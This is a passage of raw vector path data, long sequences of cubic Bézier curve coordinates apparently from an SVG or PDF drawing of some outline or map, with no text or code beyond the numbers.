163295.33 114002.00 163306.00C114013.02 163305.78 114024.14 163306.47 114035.10 163305.64C114067.06 163295.09 114099.03 163284.55 114131.00 163274.00C114141.67 163274.00 114152.33 163274.00 114163.00 163274.00C114184.33 163284.67 114205.67 163295.33 114227.00 163306.00C114237.67 163316.67 114248.33 163327.33 114259.00 163338.00C114248.33 163370.33 114237.67 163402.67 114227.00 163435.00C114237.67 163445.67 114248.33 163456.33 114259.00 163467.00C114291.33 163467.00 114323.67 163467.00 114356.00 163467.00C114356.00 163520.67 114356.00 163574.33 114356.00 163628.00C114377.45 163649.38 114398.76 163670.90 114420.30 163692.20C114452.54 163713.46 114484.77 163734.73 114517.00 163756.00C114517.00 163799.00 114517.00 163842.00 114517.00 163885.00C114527.67 163895.67 114538.33 163906.33 114549.00 163917.00C114549.00 163927.67 114549.00 163938.33 114549.00 163949.00C114570.33 163949.00 114591.67 163949.00 114613.00 163949.00C114623.67 163917.00 114634.33 163885.00 114645.00 163853.00C114655.67 163842.33 114666.33 163831.67 114677.00 163821.00C114688.00 163831.67 114699.00 163842.33 114710.00 163853.00C114720.67 163874.33 114731.33 163895.67 114742.00 163917.00C114784.67 163938.33 114827.33 163959.67 114870.00 163981.00C114891.67 163981.00 114913.33 163981.00 114935.00 163981.00C114945.67 163991.67 114956.33 164002.33 114967.00 164013.00C114956.33 164034.67 114945.67 164056.33 114935.00 164078.00C114956.33 164099.33 114977.67 164120.67 114999.00 164142.00C114988.33 164152.67 114977.67 164163.33 114967.00 164174.00C115020.67 164184.67 115074.33 164195.33 115128.00 164206.00C115149.33 164227.67 115170.67 164249.33 115192.00 164271.00C115192.00 164313.67 115192.00 164356.33 115192.00 164399.00C115181.33 164420.67 115170.67 164442.33 115160.00 164464.00C115138.33 164474.67 115116.67 164485.33 115095.00 164496.00C115084.33 164506.67 115073.67 164517.33 115063.00 164528.00C115095.33 164538.67 115127.67 164549.33 115160.00 164560.00C115170.69 164570.80 115181.60 164581.39 115192.16 164592.32C115202.77 164613.55 115213.39 164634.77 115224.00 164656.00C115213.33 164688.33 115202.67 164720.67 115192.00 164753.00C115202.67 164763.67 115213.33 164774.33 115224.00 164785.00C115245.33 164785.00 115266.67 164785.00 115288.00 164785.00C115320.33 164753.00 115352.67 164721.00 115385.00 164689.00C115395.67 164689.00 115406.33 164689.00 115417.00 164689.00C115438.33 164721.00 115459.67 164753.00 115481.00 164785.00C115481.00 164795.67 115481.00 164806.33 115481.00 164817.00C115524.00 164806.33 115567.00 164795.67 115610.00 164785.00C115610.00 164795.67 115610.00 164806.33 115610.00 164817.00C115620.67 164817.00 115631.33 164817.00 115642.00 164817.00C115631.33 164838.67 115620.67 164860.33 115610.00 164882.00C115620.67 164914.00 115631.33 164946.00 115642.00 164978.00C115631.33 164999.33 115620.67 165020.67 115610.00 165042.00C115610.00 165053.00 115610.00 165064.00 115610.00 165075.00C115631.33 165085.67 115652.67 165096.33 115674.00 165107.00C115684.67 165085.33 115695.33 165063.67 115706.00 165042.00C115717.00 165053.00 115728.00 165064.00 115739.00 165075.00C115739.00 165085.67 115739.00 165096.33 115739.00 165107.00C115749.67 165117.67 115760.33 165128.33 115771.00 165139.00C115771.00 165203.33 115771.00 165267.67 115771.00 165332.00C115781.67 165332.00 115792.33 165332.00 115803.00 165332.00C115856.67 165364.00 115910.33 165396.00 115964.00 165428.00C115996.00 165428.00 116028.00 165428.00 116060.00 165428.00C116060.00 165460.33 116060.00 165492.67 116060.00 165525.00C116081.33 165535.67 116102.67 165546.33 116124.00 165557.00C116134.85 165568.06 116146.16 165578.72 116156.71 165590.04C116178.14 165621.69 116199.57 165653.35 116221.00 165685.00C116210.33 165717.33 116199.67 165749.67 116189.00 165782.00C116221.00 165792.67 116253.00 165803.33 116285.00 165814.00C116317.33 165846.00 116349.67 165878.00 116382.00 165910.00C116371.00 165931.67 116360.00 165953.33 116349.00 165975.00C116360.00 165996.33 116371.00 166017.67 116382.00 166039.00C116403.33 166039.00 116424.67 166039.00 116446.00 166039.00C116467.33 166017.67 116488.67 165996.33 116510.00 165975.00C116520.67 165975.00 116531.33 165975.00 116542.00 165975.00C116563.71 165996.45 116585.57 166017.76 116607.20 166039.30C116628.46 166071.54 116649.73 166103.77 116671.00 166136.00C116692.33 166146.67 116713.67 166157.33 116735.00 166168.00C116745.67 166178.67 116756.33 166189.33 116767.00 166200.00C116788.67 166200.00 116810.33 166200.00 116832.00 166200.00C116832.00 166167.67 116832.00 166135.33 116832.00 166103.00C116853.33 166103.00 116874.67 166103.00 116896.00 166103.00C116928.00 166114.00 116960.00 166125.00 116992.00 166136.00C117056.33 166136.00 117120.67 166136.00 117185.00 166136.00C117217.39 166167.94 117249.94 166199.72 117282.00 166232.00C117346.33 166232.00 117410.67 166232.00 117475.00 166232.00C117485.67 166253.33 117496.33 166274.67 117507.00 166296.00C117528.33 166296.00 117549.67 166296.00 117571.00 166296.00C117581.67 166264.00 117592.33 166232.00 117603.00 166200.00C117614.00 166189.33 117625.00 166178.67 117636.00 166168.00C117646.67 166168.00 117657.33 166168.00 117668.00 166168.00C117678.67 166178.67 117689.33 166189.33 117700.00 166200.00C117700.00 166264.33 117700.00 166328.67 117700.00 166393.00C117710.67 166382.33 117721.33 166371.67 117732.00 166361.00C117742.67 166361.00 117753.33 166361.00 117764.00 166361.00C117753.33 166328.67 117742.67 166296.33 117732.00 166264.00C117742.67 166264.00 117753.33 166264.00 117764.00 166264.00C117774.67 166253.33 117785.33 166242.67 117796.00 166232.00C117817.67 166232.00 117839.33 166232.00 117861.00 166232.00C117882.33 166242.67 117903.67 166253.33 117925.00 166264.00C117935.67 166274.67 117946.33 166285.33 117957.00 166296.00C117957.00 166306.67 117957.00 166317.33 117957.00 166328.00C117967.67 166328.00 117978.33 166328.00 117989.00 166328.00C118010.33 166339.00 118031.67 166350.00 118053.00 166361.00C118085.33 166350.00 118117.67 166339.00 118150.00 166328.00C118150.00 166317.33 118150.00 166306.67 118150.00 166296.00C118139.33 166296.00 118128.67 166296.00 118118.00 166296.00C118107.33 166285.33 118096.67 166274.67 118086.00 166264.00C118118.00 166242.67 118150.00 166221.33 118182.00 166200.00C118182.00 166210.67 118182.00 166221.33 118182.00 166232.00C118203.33 166275.00 118224.67 166318.00 118246.00 166361.00C118257.00 166371.67 118268.00 166382.33 118279.00 166393.00C118311.28 166360.94 118343.06 166328.39 118375.00 166296.00C118385.67 166296.00 118396.33 166296.00 118407.00 166296.00C118417.67 166306.67 118428.33 166317.33 118439.00 166328.00C118460.67 166328.00 118482.33 166328.00 118504.00 166328.00C118525.33 166360.33 118546.67 166392.67 118568.00 166425.00C118568.00 166457.00 118568.00 166489.00 118568.00 166521.00C118578.67 166532.00 118589.33 166543.00 118600.00 166554.00C118632.33 166543.00 118664.67 166532.00 118697.00 166521.00C118685.47 166499.01 118674.55 166476.68 118662.62 166454.92C118641.74 166423.62 118620.87 166392.31 118600.00 166361.00C118610.67 166361.00 118621.33 166361.00 118632.00 166361.00C118642.67 166339.33 118653.33 166317.67 118664.00 166296.00C118685.67 166285.33 118707.33 166274.67 118729.00 166264.00C118729.00 166253.33 118729.00 166242.67 118729.00 166232.00C118739.67 166221.33 118750.33 166210.67 118761.00 166200.00C118761.00 166210.67 118761.00 166221.33 118761.00 166232.00C118782.33 166242.67 118803.67 166253.33 118825.00 166264.00C118825.00 166274.67 118825.00 166285.33 118825.00 166296.00C118814.31 166306.80 118803.40 166317.38 118792.84 166328.32C118782.23 166349.88 118771.61 166371.44 118761.00 166393.00C118761.00 166403.67 118761.00 166414.33 118761.00 166425.00C118782.33 166425.00 118803.67 166425.00 118825.00 166425.00C118846.33 166446.33 118867.67 166467.67 118889.00 166489.00C118910.67 166467.67 118932.33 166446.33 118954.00 166425.00C118975.33 166435.67 118996.67 166446.33 119018.00 166457.00C119071.67 166457.00 119125.33 166457.00 119179.00 166457.00C119189.69 166446.20 119200.60 166435.61 119211.16 166424.68C119221.77 166403.45 119232.39 166382.23 119243.00 166361.00C119253.67 166350.00 119264.33 166339.00 119275.00 166328.00C119296.67 166339.00 119318.33 166350.00 119340.00 166361.00C119361.33 166350.00 119382.67 166339.00 119404.00 166328.00C119404.00 166317.33 119404.00 166306.67 119404.00 166296.00C119414.67 166285.33 119425.33 166274.67 119436.00 166264.00C119446.67 166264.00 119457.33 166264.00 119468.00 166264.00C119478.67 166285.33 119489.33 166306.67 119500.00 166328.00C119521.67 166328.00 119543.33 166328.00 119565.00 166328.00C119586.14 166371.09 119607.44 166414.11 119629.00 166457.00C119650.33 166446.33 119671.67 166435.67 119693.00 166425.00C119671.67 166403.67 119650.33 166382.33 119629.00 166361.00C119639.67 166350.00 119650.33 166339.00 119661.00 166328.00C119671.67 166328.00 119682.33 166328.00 119693.00 166328.00C119725.33 166349.67 119757.67 166371.33 119790.00 166393.00C119800.67 166393.00 119811.33 166393.00 119822.00 166393.00C119832.67 166382.33 119843.33 166371.67 119854.00 166361.00C119864.67 166361.00 119875.33 166361.00 119886.00 166361.00C119875.33 166339.33 119864.67 166317.67 119854.00 166296.00C119854.00 166285.33 119854.00 166274.67 119854.00 166264.00C119875.33 166274.67 119896.67 166285.33 119918.00 166296.00C119929.00 166285.33 119940.00 166274.67 119951.00 166264.00C119972.33 166274.67 119993.67 166285.33 120015.00 166296.00C120025.67 166296.00 120036.33 166296.00 120047.00 166296.00C120035.98 166296.22 120024.86 166295.53 120013.90 166296.36C119981.94 166306.91 119949.97 166317.45 119918.00 166328.00C119939.67 166339.00 119961.33 166350.00 119983.00 166361.00C119983.00 166403.67 119983.00 166446.33 119983.00 166489.00C120025.67 166489.00 120068.33 166489.00 120111.00 166489.00C120100.33 166499.67 120089.67 166510.33 120079.00 166521.00C120089.67 166532.00 120100.33 166543.00 120111.00 166554.00C120132.67 166521.67 120154.33 166489.33 120176.00 166457.00C120197.33 166467.67 120218.67 166478.33 120240.00 166489.00C120229.33 166478.33 120218.67 166467.67 120208.00 166457.00C120208.00 166435.67 120208.00 166414.33 120208.00 166393.00C120218.67 166393.00 120229.33 166393.00 120240.00 166393.00C120250.67 166425.00 120261.33 166457.00 120272.00 166489.00C120282.67 166489.00 120293.33 166489.00 120304.00 166489.00C120325.67 166510.67 120347.33 166532.33 120369.00 166554.00C120379.67 166543.00 120390.33 166532.00 120401.00 166521.00C120390.33 166510.33 120379.67 166499.67 120369.00 166489.00C120379.67 166467.67 120390.33 166446.33 120401.00 166425.00C120390.33 166425.00 120379.67 166425.00 120369.00 166425.00C120390.33 166414.33 120411.67 166403.67 120433.00 166393.00C120433.00 166382.33 120433.00 166371.67 120433.00 166361.00C120443.67 166361.00 120454.33 166361.00 120465.00 166361.00C120465.00 166403.67 120465.00 166446.33 120465.00 166489.00C120454.33 166499.67 120443.67 166510.33 120433.00 166521.00C120443.67 166532.00 120454.33 166543.00 120465.00 166554.00C120497.00 166543.00 120529.00 166532.00 120561.00 166521.00C120561.00 166532.00 120561.00 166543.00 120561.00 166554.00C120572.00 166554.00 120583.00 166554.00 120594.00 166554.00C120583.00 166564.67 120572.00 166575.33 120561.00 166586.00C120582.67 166607.33 120604.33 166628.67 120626.00 166650.00C120604.33 166671.33 120582.67 166692.67 120561.00 166714.00C120550.33 166735.67 120539.67 166757.33 120529.00 166779.00C120539.67 166779.00 120550.33 166779.00 120561.00 166779.00C120582.67 166789.67 120604.33 166800.33 120626.00 166811.00C120636.67 166843.00 120647.33 166875.00 120658.00 166907.00C120668.67 166917.67 120679.33 166928.33 120690.00 166939.00C120700.67 166928.33 120711.33 166917.67 120722.00 166907.00C120722.00 166960.67 120722.00 167014.33 120722.00 167068.00C120743.67 167068.00 120765.33 167068.00 120787.00 167068.00C120797.67 167089.33 120808.33 167110.67 120819.00 167132.00C120797.33 167153.67 120775.67 167175.33 120754.00 167197.00C120743.33 167197.00 120732.67 167197.00 120722.00 167197.00C120722.00 167186.00 120722.00 167175.00 120722.00 167164.00C120690.00 167164.00 120658.00 167164.00 120626.00 167164.00C120583.00 167175.00 120540.00 167186.00 120497.00 167197.00C120497.00 167175.33 120497.00 167153.67 120497.00 167132.00C120475.67 167153.67 120454.33 167175.33 120433.00 167197.00C120422.33 167197.00 120411.67 167197.00 120401.00 167197.00C120390.33 167186.00 120379.67 167175.00 120369.00 167164.00C120369.00 167142.67 120369.00 167121.33 120369.00 167100.00C120358.00 167110.67 120347.00 167121.33 120336.00 167132.00C120325.33 167132.00 120314.67 167132.00 120304.00 167132.00C120293.33 167153.67 120282.67 167175.33 120272.00 167197.00C120250.67 167218.33 120229.33 167239.67 120208.00 167261.00C120218.67 167271.67 120229.33 167282.33 120240.00 167293.00C120229.33 167303.67 120218.67 167314.33 120208.00 167325.00C120218.67 167325.00 120229.33 167325.00 120240.00 167325.00C120218.67 167335.67 120197.33 167346.33 120176.00 167357.00C120165.33 167368.00 120154.67 167379.00 120144.00 167390.00C120133.00 167390.00 120122.00 167390.00 120111.00 167390.00C120111.00 167400.67 120111.00 167411.33 120111.00 167422.00C120122.00 167422.00 120133.00 167422.00 120144.00 167422.00C120144.00 167443.33 120144.00 167464.67 120144.00 167486.00C120154.67 167486.00 120165.33 167486.00 120176.00 167486.00C120186.67 167496.67 120197.33 167507.33 120208.00 167518.00C120186.67 167518.00 120165.33 167518.00 120144.00 167518.00C120133.00 167528.67 120122.00 167539.33 120111.00 167550.00C120111.00 167571.67 120111.00 167593.33 120111.00 167615.00C120100.33 167615.00 120089.67 167615.00 120079.00 167615.00C120079.00 167593.33 120079.00 167571.67 120079.00 167550.00C120047.00 167550.00 120015.00 167550.00 119983.00 167550.00C119993.67 167550.00 120004.33 167550.00 120015.00 167550.00C119993.67 167550.00 119972.33 167550.00 119951.00 167550.00C119951.00 167582.33 119951.00 167614.67 119951.00 167647.00C119940.00 167668.33 119929.00 167689.67 119918.00 167711.00C119929.00 167721.67 119940.00 167732.33 119951.00 167743.00C119929.33 167753.67 119907.67 167764.33 119886.00 167775.00C119886.00 167764.33 119886.00 167753.67 119886.00 167743.00C119875.33 167743.00 119864.67 167743.00 119854.00 167743.00C119875.33 167711.00 119896.67 167679.00 119918.00 167647.00C119907.33 167636.33 119896.67 167625.67 119886.00 167615.00C119875.33 167625.67 119864.67 167636.33 119854.00 167647.00C119843.33 167647.00 119832.67 167647.00 119822.00 167647.00C119811.33 167636.33 119800.67 167625.67 119790.00 167615.00C119790.00 167604.00 119790.00 167593.00 119790.00 167582.00C119779.33 167593.00 119768.67 167604.00 119758.00 167615.00C119736.33 167615.00 119714.67 167615.00 119693.00 167615.00C119682.33 167636.33 119671.67 167657.67 119661.00 167679.00C119661.00 167700.33 119661.00 167721.67 119661.00 167743.00C119682.33 167753.67 119703.67 167764.33 119725.00 167775.00C119714.33 167775.00 119703.67 167775.00 119693.00 167775.00C119693.00 167786.00 119693.00 167797.00 119693.00 167808.00C119682.33 167818.67 119671.67 167829.33 119661.00 167840.00C119639.67 167829.33 119618.33 167818.67 119597.00 167808.00C119597.00 167818.67 119597.00 167829.33 119597.00 167840.00C119597.00 167829.33 119597.00 167818.67 119597.00 167808.00C119586.33 167818.67 119575.67 167829.33 119565.00 167840.00C119565.00 167861.33 119565.00 167882.67 119565.00 167904.00C119554.33 167914.67 119543.67 167925.33 119533.00 167936.00C119543.67 167936.00 119554.33 167936.00 119565.00 167936.00C119565.00 167957.33 119565.00 167978.67 119565.00 168000.00C119575.67 168000.00 119586.33 168000.00 119597.00 168000.00C119597.00 168021.67 119597.00 168043.33 119597.00 168065.00C119575.67 168054.33 119554.33 168043.67 119533.00 168033.00C119533.00 168075.67 119533.00 168118.33 119533.00 168161.00C119543.67 168161.00 119554.33 168161.00 119565.00 168161.00C119554.33 168204.00 119543.67 168247.00 119533.00 168290.00C119554.33 168279.33 119575.67 168268.67 119597.00 168258.00C119597.00 168268.67 119597.00 168279.33 119597.00 168290.00C119586.33 168290.00 119575.67 168290.00 119565.00 168290.00C119565.00 168300.67 119565.00 168311.33 119565.00 168322.00C119543.59 168343.59 119521.93 168364.94 119500.00 168386.00C119532.33 168375.33 119564.67 168364.67 119597.00 168354.00C119597.00 168375.33 119597.00 168396.67 119597.00 168418.00C119607.67 168407.33 119618.33 168396.67 119629.00 168386.00C119650.33 168386.00 119671.67 168386.00 119693.00 168386.00C119682.33 168386.00 119671.67 168386.00 119661.00 168386.00C119661.00 168396.67 119661.00 168407.33 119661.00 168418.00C119650.33 168418.00 119639.67 168418.00 119629.00 168418.00C119629.00 168429.00 119629.00 168440.00 119629.00 168451.00C119618.33 168451.00 119607.67 168451.00 119597.00 168451.00C119597.00 168472.33 119597.00 168493.67 119597.00 168515.00C119575.67 168525.67 119554.33 168536.33 119533.00 168547.00C119543.67 168557.67 119554.33 168568.33 119565.00 168579.00C119543.33 168589.67 119521.67 168600.33 119500.00 168611.00C119511.00 168621.67 119522.00 168632.33 119533.00 168643.00C119565.00 168643.00 119597.00 168643.00 119629.00 168643.00C119618.33 168643.00 119607.67 168643.00 119597.00 168643.00C119597.00 168664.67 119597.00 168686.33 119597.00 168708.00C119586.33 168708.00 119575.67 168708.00 119565.00 168708.00C119565.00 168740.00 119565.00 168772.00 119565.00 168804.00C119586.33 168814.67 119607.67 168825.33 119629.00 168836.00C119639.67 168847.00 119650.33 168858.00 119661.00 168869.00C119682.33 168879.67 119703.67 168890.33 119725.00 168901.00C119703.67 168911.67 119682.33 168922.33 119661.00 168933.00C119650.33 168922.33 119639.67 168911.67 119629.00 168901.00C119629.00 168933.00 119629.00 168965.00 119629.00 168997.00C119618.33 168986.33 119607.67 168975.67 119597.00 168965.00C119586.33 168975.67 119575.67 168986.33 119565.00 168997.00C119565.00 169018.67 119565.00 169040.33 119565.00 169062.00C119543.33 169083.33 119521.67 169104.67 119500.00 169126.00C119532.33 169115.33 119564.67 169104.67 119597.00 169094.00C119607.67 169094.00 119618.33 169094.00 119629.00 169094.00C119629.00 169104.67 119629.00 169115.33 119629.00 169126.00C119618.33 169126.00 119607.67 169126.00 119597.00 169126.00C119597.00 169136.67 119597.00 169147.33 119597.00 169158.00C119586.33 169158.00 119575.67 169158.00 119565.00 169158.00C119565.00 169168.67 119565.00 169179.33 119565.00 169190.00C119554.33 169200.67 119543.67 169211.33 119533.00 169222.00C119533.00 169232.67 119533.00 169243.33 119533.00 169254.00C119458.00 169286.33 119383.00 169318.67 119308.00 169351.00C119340.00 169351.00 119372.00 169351.00 119404.00 169351.00C119404.00 169361.67 119404.00 169372.33 119404.00 169383.00C119404.00 169372.33 119404.00 169361.67 119404.00 169351.00C119436.00 169340.33 119468.00 169329.67 119500.00 169319.00C119521.67 169319.00 119543.33 169319.00 119565.00 169319.00C119575.67 169308.33 119586.33 169297.67 119597.00 169287.00C119607.67 169287.00 119618.33 169287.00 119629.00 169287.00C119629.00 169297.67 119629.00 169308.33 119629.00 169319.00C119607.67 169319.00 119586.33 169319.00 119565.00 169319.00C119575.67 169329.67 119586.33 169340.33 119597.00 169351.00C119575.67 169351.00 119554.33 169351.00 119533.00 169351.00C119543.67 169361.67 119554.33 169372.33 119565.00 169383.00C119565.00 169393.67 119565.00 169404.33 119565.00 169415.00C119543.33 169415.00 119521.67 169415.00 119500.00 169415.00C119500.00 169436.33 119500.00 169457.67 119500.00 169479.00C119511.00 169479.00 119522.00 169479.00 119533.00 169479.00C119522.00 169490.00 119511.00 169501.00 119500.00 169512.00C119500.00 169533.33 119500.00 169554.67 119500.00 169576.00C119511.00 169576.00 119522.00 169576.00 119533.00 169576.00C119490.00 169576.00 119447.00 169576.00 119404.00 169576.00C119414.67 169597.33 119425.33 169618.67 119436.00 169640.00C119425.33 169650.67 119414.67 169661.33 119404.00 169672.00C119404.00 169661.33 119404.00 169650.67 119404.00 169640.00C119361.00 169640.00 119318.00 169640.00 119275.00 169640.00C119286.00 169650.67 119297.00 169661.33 119308.00 169672.00C119308.00 169704.33 119308.00 169736.67 119308.00 169769.00C119286.33 169769.00 119264.67 169769.00 119243.00 169769.00C119243.00 169779.67 119243.00 169790.33 119243.00 169801.00C119232.33 169811.67 119221.67 169822.33 119211.00 169833.00C119232.59 169854.41 119253.94 169876.07 119275.00 169898.00C119253.67 169898.00 119232.33 169898.00 119211.00 169898.00C119200.33 169887.00 119189.67 169876.00 119179.00 169865.00C119168.33 169876.00 119157.67 169887.00 119147.00 169898.00C119125.33 169898.00 119103.67 169898.00 119082.00 169898.00C119071.33 169908.67 119060.67 169919.33 119050.00 169930.00C119050.00 169908.33 119050.00 169886.67 119050.00 169865.00C119028.67 169886.67 119007.33 169908.33 118986.00 169930.00C118986.00 169919.33 118986.00 169908.67 118986.00 169898.00C118975.33 169887.00 118964.67 169876.00 118954.00 169865.00C118964.67 169865.00 118975.33 169865.00 118986.00 169865.00C118964.67 169865.00 118943.33 169865.00 118922.00 169865.00C118922.00 169854.33 118922.00 169843.67 118922.00 169833.00C118943.33 169822.33 118964.67 169811.67 118986.00 169801.00C118986.00 169790.33 118986.00 169779.67 118986.00 169769.00C118996.67 169769.00 119007.33 169769.00 119018.00 169769.00C118996.67 169769.00 118975.33 169769.00 118954.00 169769.00C118932.33 169779.67 118910.67 169790.33 118889.00 169801.00C118889.00 169833.33 118889.00 169865.67 118889.00 169898.00C118900.00 169898.00 118911.00 169898.00 118922.00 169898.00C118922.00 169919.33 118922.00 169940.67 118922.00 169962.00C118932.67 169962.00 118943.33 169962.00 118954.00 169962.00C118943.33 169962.00 118932.67 169962.00 118922.00 169962.00C118922.00 170004.67 118922.00 170047.33 118922.00 170090.00C118932.67 170079.33 118943.33 170068.67 118954.00 170058.00C118943.33 170068.67 118932.67 170079.33 118922.00 170090.00C118932.67 170101.00 118943.33 170112.00 118954.00 170123.00C118932.33 170133.67 118910.67 170144.33 118889.00 170155.00C118900.00 170133.33 118911.00 170111.67 118922.00 170090.00C118889.67 170111.67 118857.33 170133.33 118825.00 170155.00C118825.00 170133.33 118825.00 170111.67 118825.00 170090.00C118835.67 170090.00 118846.33 170090.00 118857.00 170090.00C118867.67 170068.67 118878.33 170047.33 118889.00 170026.00C118857.00 170026.00 118825.00 170026.00 118793.00 170026.00C118793.00 170015.33 118793.00 170004.67 118793.00 169994.00C118771.67 169994.00 118750.33 169994.00 118729.00 169994.00C118739.67 169983.33 118750.33 169972.67 118761.00 169962.00C118739.67 169962.00 118718.33 169962.00 118697.00 169962.00C118697.00 169951.33 118697.00 169940.67 118697.00 169930.00C118675.33 169951.33 118653.67 169972.67 118632.00 169994.00C118653.67 169994.00 118675.33 169994.00 118697.00 169994.00C118707.67 170004.67 118718.33 170015.33 118729.00 170026.00C118729.00 170036.67 118729.00 170047.33 118729.00 170058.00C118696.67 170068.67 118664.33 170079.33 118632.00 170090.00C118642.67 170090.00 118653.33 170090.00 118664.00 170090.00C118653.33 170101.00 118642.67 170112.00 118632.00 170123.00C118642.67 170123.00 118653.33 170123.00 118664.00 170123.00C118675.00 170133.67 118686.00 170144.33 118697.00 170155.00C118686.00 170155.00 118675.00 170155.00 118664.00 170155.00C118632.00 170176.33 118600.00 170197.67 118568.00 170219.00C118589.33 170219.00 118610.67 170219.00 118632.00 170219.00C118632.00 170229.67 118632.00 170240.33 118632.00 170251.00C118653.67 170251.00 118675.33 170251.00 118697.00 170251.00C118686.00 170251.00 118675.00 170251.00 118664.00 170251.00C118664.00 170283.33 118664.00 170315.67 118664.00 170348.00C118653.33 170358.67 118642.67 170369.33 118632.00 170380.00C118642.67 170380.00 118653.33 170380.00 118664.00 170380.00C118664.00 170390.67 118664.00 170401.33 118664.00 170412.00C118675.00 170422.67 118686.00 170433.33 118697.00 170444.00C118697.00 170454.67 118697.00 170465.33 118697.00 170476.00C118707.67 170476.00 118718.33 170476.00 118729.00 170476.00C118729.00 170454.67 118729.00 170433.33 118729.00 170412.00C118739.67 170401.33 118750.33 170390.67 118761.00 170380.00C118761.00 170390.67 118761.00 170401.33 118761.00 170412.00C118771.67 170412.00 118782.33 170412.00 118793.00 170412.00C118793.00 170422.67 118793.00 170433.33 118793.00 170444.00C118814.33 170454.67 118835.67 170465.33 118857.00 170476.00C118846.33 170476.00 118835.67 170476.00 118825.00 170476.00C118835.67 170486.67 118846.33 170497.33 118857.00 170508.00C118878.67 170508.00 118900.33 170508.00 118922.00 170508.00C118932.67 170519.00 118943.33 170530.00 118954.00 170541.00C118954.00 170551.67 118954.00 170562.33 118954.00 170573.00C118975.33 170573.00 118996.67 170573.00 119018.00 170573.00C119007.33 170583.67 118996.67 170594.33 118986.00 170605.00C119018.00 170605.00 119050.00 170605.00 119082.00 170605.00C119082.00 170615.67 119082.00 170626.33 119082.00 170637.00C119071.33 170647.67 119060.67 170658.33 119050.00 170669.00C119071.67 170669.00 119093.33 170669.00 119115.00 170669.00C119136.33 170679.67 119157.67 170690.33 119179.00 170701.00C119136.00 170636.67 119093.00 170572.33 119050.00 170508.00C119028.67 170508.00 119007.33 170508.00 118986.00 170508.00C118943.26 170465.08 118900.28 170422.39 118857.00 170380.00C118846.33 170380.00 118835.67 170380.00 118825.00 170380.00C118814.33 170337.00 118803.67 170294.00 118793.00 170251.00C118836.00 170251.00 118879.00 170251.00 118922.00 170251.00C118954.00 170240.33 118986.00 170229.67 119018.00 170219.00C119028.67 170219.00 119039.33 170219.00 119050.00 170219.00C119050.00 170208.33 119050.00 170197.67 119050.00 170187.00C119082.33 170187.00 119114.67 170187.00 119147.00 170187.00C119157.80 170176.30 119168.39 170165.40 119179.32 170154.84C119222.21 170133.22 119265.11 170111.61 119308.00 170090.00C119318.67 170101.00 119329.33 170112.00 119340.00 170123.00C119380.58 170101.95 119421.27 170081.11 119462.26 170060.87C119469.84 170059.08 119470.96 170050.82 119474.50 170045.00C119483.00 170028.00 119491.50 170011.00 119500.00 169994.00C119511.00 169983.33 119522.00 169972.67 119533.00 169962.00C119554.33 169962.00 119575.67 169962.00 119597.00 169962.00C119597.00 169972.67 119597.00 169983.33 119597.00 169994.00C119618.33 169994.00 119639.67 169994.00 119661.00 169994.00C119671.67 170004.67 119682.33 170015.33 119693.00 170026.00C119714.67 170026.00 119736.33 170026.00 119758.00 170026.00C119779.71 170036.74 119801.26 170047.87 119823.09 170058.36C119854.72 170068.91 119886.36 170079.45 119918.00 170090.00C119939.67 170090.00 119961.33 170090.00 119983.00 170090.00C119993.67 170111.67 120004.33 170133.33 120015.00 170155.00C120015.00 170165.67 120015.00 170176.33 120015.00 170187.00C120025.67 170187.00 120036.33 170187.00 120047.00 170187.00C120057.67 170197.67 120068.33 170208.33 120079.00 170219.00C120068.33 170219.00 120057.67 170219.00 120047.00 170219.00C120047.00 170229.67 120047.00 170240.33 120047.00 170251.00C120068.33 170261.67 120089.67 170272.33 120111.00 170283.00C120100.33 170293.67 120089.67 170304.33 120079.00 170315.00C120079.00 170326.00 120079.00 170337.00 120079.00 170348.00C120111.33 170348.00 120143.67 170348.00 120176.00 170348.00C120186.67 170358.67 120197.33 170369.33 120208.00 170380.00C120208.00 170390.67 120208.00 170401.33 120208.00 170412.00C120218.67 170401.33 120229.33 170390.67 120240.00 170380.00C120240.00 170390.67 120240.00 170401.33 120240.00 170412.00C120272.00 170412.00 120304.00 170412.00 120336.00 170412.00C120368.33 170433.33 120400.67 170454.67 120433.00 170476.00C120443.67 170476.00 120454.33 170476.00 120465.00 170476.00C120486.33 170465.33 120507.67 170454.67 120529.00 170444.00C120539.67 170454.67 120550.33 170465.33 120561.00 170476.00C120561.00 170486.67 120561.00 170497.33 120561.00 170508.00C120572.00 170519.00 120583.00 170530.00 120594.00 170541.00C120594.00 170530.00 120594.00 170519.00 120594.00 170508.00C120594.00 170519.00 120594.00 170530.00 120594.00 170541.00C120604.67 170541.00 120615.33 170541.00 120626.00 170541.00C120604.33 170551.67 120582.67 170562.33 120561.00 170573.00C120561.00 170583.67 120561.00 170594.33 120561.00 170605.00C120614.67 170605.00 120668.33 170605.00 120722.00 170605.00C120690.00 170637.00 120658.00 170669.00 120626.00 170701.00C120626.00 170722.67 120626.00 170744.33 120626.00 170766.00C120593.13 170798.68 120559.96 170831.06 120527.29 170863.93C120442.20 170959.62 120357.09 171055.31 120272.00 171151.00C120088.38 171421.01 119904.53 171690.87 119721.06 171960.97C119700.99 171991.42 119680.85 172021.83 119660.84 172052.32C119650.23 172073.55 119639.61 172094.77 119629.00 172116.00C119607.67 172137.33 119586.33 172158.67 119565.00 172180.00C119519.55 172272.90 119472.54 172365.03 119426.32 172457.54C119375.46 172558.71 119324.86 172660.00 119273.82 172761.07C119231.51 172835.49 119189.11 172909.87 119146.86 172984.33C119114.57 173059.22 119082.29 173134.11 119050.00 173209.00C119028.64 173241.45 119007.13 173273.82 118985.86 173306.33C118920.36 173458.83 118855.17 173611.47 118789.47 173763.89C118747.39 173858.36 118705.05 173952.72 118663.11 174047.25C118620.02 174155.85 118576.64 174264.34 118533.74 174373.01C118469.45 174544.04 118405.42 174715.18 118340.95 174886.14C118307.59 174970.09 118274.35 175054.08 118240.34 175137.76C118231.56 175159.51 118222.78 175181.25 118214.00 175203.00C118214.00 175224.33 118214.00 175245.67 118214.00 175267.00C118192.67 175299.33 118171.33 175331.67 118150.00 175364.00C118139.04 175407.38 118128.52 175450.88 118117.27 175494.18C118074.30 175622.51 118031.62 175750.94 117988.48 175879.21C117956.59 175953.91 117924.78 176028.64 117892.82 176103.31C117848.04 176181.61 117802.92 176259.71 117758.37 176338.14C117706.58 176431.43 117654.79 176524.71 117603.00 176618.00C117485.00 176768.50 117366.84 176918.88 117248.96 177069.46C117194.72 177145.37 117140.26 177221.13 117086.16 177297.14C116947.63 177499.62 116809.14 177702.13 116670.58 177904.58C116499.05 178140.05 116327.53 178375.53 116156.00 178611.00C116145.18 178632.52 116134.54 178654.13 116123.62 178675.60C116026.46 178827.10 115929.53 